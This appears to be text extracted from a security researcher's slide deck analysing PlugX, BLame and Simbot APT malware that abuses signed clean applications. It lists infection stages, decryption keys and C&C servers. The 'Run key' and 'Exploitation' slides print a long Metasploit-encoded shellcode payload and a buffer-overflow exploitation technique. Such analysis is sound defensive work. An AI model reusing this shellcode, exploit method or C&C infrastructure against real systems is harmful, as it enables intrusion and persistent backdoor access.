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Honourable mentions: 

• 2010. Stuxnet digitally signed drivers: stolen 
certificate 

• June 2012. Flame/Wiper: MD5 collision attack + 
abused MS certificate 

• October 2012. Adobe signed malware: 
compromised server 

• January 2013. TURKTRUST certificate abuse 
• March 2013. Bit9 signed malware: stolen 

certificate 
• Certificated purchased by malware authors 

(Digital River,…) 
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Classification 
initiative 
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See if APT samples cluster by: 

• Shellcode techniques 

• Encryption of embedded EXE 

• Generic detection of dropped malware 

• Connected C&C domains 

• System activity 
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Typical Plugx 
infection scenario 
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Decoy document  
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CVE-2012-0158 
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Stage 2 neighbourhood 
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Stage 2 two views 
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Stage 2 decoding – (v. 3.0, 4.0) 

Encrypted EXE 
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RAR SFX dropper (v. 3.0, 4.0) 
Clean signed application 

Malware loader 

Encrypted payload 
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Stage 2 decoding – (v. 6.0) 



13 

The final payload 

http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf 
 
Bytewise XOR + LZNT compression + LCG (Linear Congruential Generator) 
 
DLL file, MZ  +  PE header is overwritten with GULP marker 

http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf
http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf
http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf
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Backdoor functions 
Function name Functionaity 

Disk Get drive information (type, free space) 

Enumerate files 

Create Directory 

Create/Modify file 

Copy/Delete/Move/Rename files 

Execute files 

KeyLog Log keystrokes to file %ALLUSERSPROFILE%\SxS\NvSmart.hlp 

Nethood Enumerate shared network resources 

Netstat Set TCP connection state 

Enumerate UDP and TCP connections 

Option Lock workstation 

Logoff/Reboot/Shutdown workstation 

Display messagebox 

PortMap Perform port map 

Process Terminate process 

Enumerate processes and modules 

Get process and module information 

RegEdit Enumerate/Create/Delete registry entries 

Screen Capture screenshot 

Service Get service information 

Change service configuration 

Start service 

Control service 

Delete service 

Shell Create remote shell 

SQL List SQL drivers 

List SQL data sources 

Execute SQL command 

Telnet Create telnet connection 
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Simple components – (v. 6.0) 

dw20.dll 
Stage 1 
dropper 

Embedded 
EXE in 

overlay 
(0xa00) 

2.tmp 
Stage 2 
dropper 

Embedded: 
Sidebar.dll.doc 

Sidebar.dll 
Gadget.exe 

Gadget.exe 

Sidebar.dll 

Sidebar.dll.doc 

Sidebar.dll  
(loader) 

Sidebar.dll.doc 
(final payload) 

Gadget.exe 
(trusted process) 

Dll search order hijacking: clean application loading malicious DLL 
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Digitally signed clean loaders 
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Tusmed (Plugx spinoff project) 
oPayload dropped to %WINDOWS%\ ntshrui.dll, loaded by 
 explorer.exe  
oPayload dropped to %WINDOWS%\wdmaud.drv, loaded by 
 explorer.exe  

Icefog  
o Payload dropped to %WINDOWS%\wdmaud.drv, loaded 

by explorer.exe  

Yaludle 
o Payload dropped to %WINDOWS%\msacm32.drv, loaded 

by explorer.exe  

Plugx copycat 

DLL search order hijacking elsewhere 
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BLame  
 
(a.k.a. Mgbot, Mgmbot) 
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Decoy document  
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CVE-2012-0158 

Seen in China, Myanmar, Korea 
Encrypted Excel workbook with hardcoded default password: 
o http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/ 
 

“VelvetSweatshop” 

http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
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Shellcode anti-tracing trick 
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Shellcode anti-tracing trick 
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Encrypted appended EXE 

XOR (1 byte running key) + XOR (one byte fixed key) 
Dropped to %TEMP%\Winword.exe 
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Installation flow 

Shellcode 
in 

exploited 
document 

Embedded 
EXE in 
OLE2 

“overlay” 

Winword.exe: 
temporary 

dropper 

Embedded: 
• final payload 
• backup 

installer 
• rundll32 copy 
• wscript copy 

AppMgmt.dll 

vbstdcomm.nls 
Odbc.txt 

Takes over an existing service: 
HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters -->  ServiceDll 
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Main payload 

• Compiled from the LAME MP3 encoder source (http://sourceforge.net/projects/lame) 

• Some versions use UDT library (http://udt.sourceforge.net ) for communication 

• Additional malware export(s) 

• ASCII and Unicode string encrypted using DES ECB, decrypted on the fly, cleared after use 

o Key for ASCII strings:   82 C5 D3 59 2B 38 00 00 
o Key for Unicode string:   5E 97 CC 42 8E CD 00 00 
o Key for API function names:  5B 5F CB 8D E5 F5 00 00 

• C&C server names encrypted with bytewise XOR (0x58) 

• Usual backdoor functions: 

o Create screenshot 
o Get drive type (FAT, FAT32, NTFS, CDFS) and free space 
o Enumerate files and directories and send the list to the server 
o Rename files 
o Create directory 
o Delete File 

 

http://sourceforge.net/projects/lame
http://sourceforge.net/projects/lame
http://udt.sourceforge.net/
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Main payload versions 

Version PE/LAME 

Timestamp 

Exports DES key 

count 

UDT 

present 

First seen Servers 

2.2 19/10/2011 lame_set_out_sample 

lame_get_out_sample 

3 - 08/04/2013 202.146.217.229 

2.22 17/02/2012 lame_set_out_sample 3 - 31/05/2013 103.246.247.194 

2.3(TCP) 19/03/2012 lame_set_out_sample 3 - 26/04/2013 forwork.my03.com 

2.3(UDP) 06/06/2012 lame_set_out_sample 3 + 07/12/2012 113.10.201.254 

goodnewspaper.gicp.net 

1115.126.3.214 

goodnewspaper.3322.org 

  

2.4(UDP) 19/01/2013 lame_set_out_sample 2 + 06/05/2013 113.10.201.254 

113.10.201.250 

125.141.149.23 

125.141.149.46 

125.141.149.49 

58.64.129.149 

goodnewspaper.3322.org 

goodnewspaper.gicp.net 
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Informative string constants 

General operation: 
Client RecvData Complete 
A File Search Task has start already !!! 
File Search Task Success 
File Search Task Failed, Please Check 
Upload Client Failed 
Upload Client Success 
Delete File Success 
Delete File Failed 
Rename File Success 
Rename File Failed 
Create Folder Success 
Create Folder Failed 
Global\VMM1002 

Undocumented functionality: 
X:\Windows\System32\rundll32.exe 
 X:\Windows\msacm32.drv 
arp -s %s 11-11-11-11-11-11 
2.4(UDP) 

Junk: 
lsjkl 
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Unused string constants 

Internal configuration: 
ASCII: 
1a: kazafei 
1b: 192.168.1.98 
1c: 80 
 

Undocumented functionality: 
ASCII: 
1d: MagicMutex 
  
Unicode: 
15: D:\Resume.dll 
16: D:\delete.dll 
17: D:\delete2.dll 
 

Junk: 
ASCII: 
1f: # 
  
Unicode: 
7: WINSTA0 
14: AppMgmt 
3a: @ 
52: Start 
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Simbot 
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CVE-2012-0158 

Encrypted Excel workbook with hardcoded default password: 
o http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/ 
 

“VelvetSweatshop” 

http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
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Multi-staged shellcode dropper 
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Installation flow 

Shellcode 
in 

exploited 
document 

Embedded 
EXE in 
OLE2 

“overlay” 

First stage 
dropper 

Embedded plain 
EXE 

Intermediate 
dropped 

Embedded 
encrypted EXE 

Installer 

Embedded 
encrypted 

components 

Registered for startup  
 HKLM\SYSTEM\CurrentControlSet\Services\NetWork Service\ImagePath  

Added to the DEP exclusion list 
 sysdm.cpl -> NoExecuteAddFileOptOutList 

Science.exe 
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Run key 
HKLM\SYSTEM\CurrentControlSet\Services\NetWork Service\ImagePath =  
 
C:\Documents and Settings\All Users\NetWork\science.exe 
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 100 PC@ 
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Logging 

Using vsprintf, here is no way to limit the number of characters written, which 

means that code using this function is susceptible to buffer overruns. 

Use _vsnprintf instead, or call _vscprintf to determine how large a buffer 

is needed. 

char *write_log(int a1, char *Format, ...) 
{ 
  va_list va; // [sp+200Ch] [bp+Ch]@1 
  char *result; // eax@1 
  char Dest; // [sp+0h] [bp-2000h]@2 
  
  va_start(va, Format); 
  result = Format; 
  if ( Format ) 
  { 
    result = (char *)vsprintf(&Dest, Format, va); 
    if ( (unsigned int)result < 0x2000 ) 
      result = (char *)CLog__ADD_Log(g_Log, &Dest, result, a1); 
  } 
  return result; 
} 

http://msdn.microsoft.com/en-us/library/vstudio/1kt27hek.aspx
http://msdn.microsoft.com/en-us/library/vstudio/1kt27hek.aspx
http://msdn.microsoft.com/en-us/library/vstudio/w05tbk72.aspx
http://msdn.microsoft.com/en-us/library/vstudio/w05tbk72.aspx
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Exploitation 

Log function epilogue: 
 
add     esp, 2000h 
retn 
 

return address 

Param 1: log entry ID 

Param 2: address of command line 

0x404350 (PC@) 

Param 1: log entry ID 

Param 2: address of command line 

Param 1: log entry ID 

Param 2: address of command line 

.text:00404350     pop     ecx 

.text:00404351     retn 
 

LLLLYIIII7QZAkA0D2A00A0kA0D2A12B10B1ABjAX8A1uIN
2uNkXlMQJLePvbUPePJgW59t7kwOKDSPJgg5hh2ZezxFVX
Jg75xlrebuXbtKyWqUXp5FKfZvYPKwpEzTm7xosdLUO7w5
zXLnN0dVNKO72eKLYKJs3 
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Shellcode from the command line 

Encrypted using alpha_mixed from Metasploit 
Unusual API resolver (SHL(3) + XOR) 
Decrypts and loads the main payload file (Config.dat) 
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Main payload 

Decrypted and loaded in-memory 

Connects to 59.188.23.121 (port 8001 or 8433 ) 

Communication is zlib compressed 

Loads config from  
o HKLM\SOFTWARE\Microsoft\Windows\Help -> Config  
o file %ALLUSERSPROFILE%\NetWork\t1.dat 
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Exploited application 

• Downloader component 

• 4 different variations identified 

• All 4 are vulnerable to the exploit 

• All have the same version info 
o  Verified:  Signed 
o  Signing date: 07:20 23/02/2012 
o  Publisher:  
o  Description: DownLoad Microsoft ??????? 
o  Product:  DownLoad ???? 
o  Version:  1, 0, 0, 1 
o  File version: 10, 3, 19, 1 
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Installation flow 

Shellcode 
in 

exploited 
document 

Embedded 
EXE in 
OLE2 

“overlay” 

First stage 
dropper 

Embedded plain 
EXE 

Intermediate 
dropped 

Embedded 
encrypted EXE 

Installer 

Embedded 
encrypted 

components 

DDVCtrlLib.dll 
DDVEC.dll 

(clean libraries) 

Config.dat 
 (final payload) 

Science.exe 
(trusted process) 



40 

Conclusion 

Not every that looks clean, 
acts as clean or is clean is 
innocent. 
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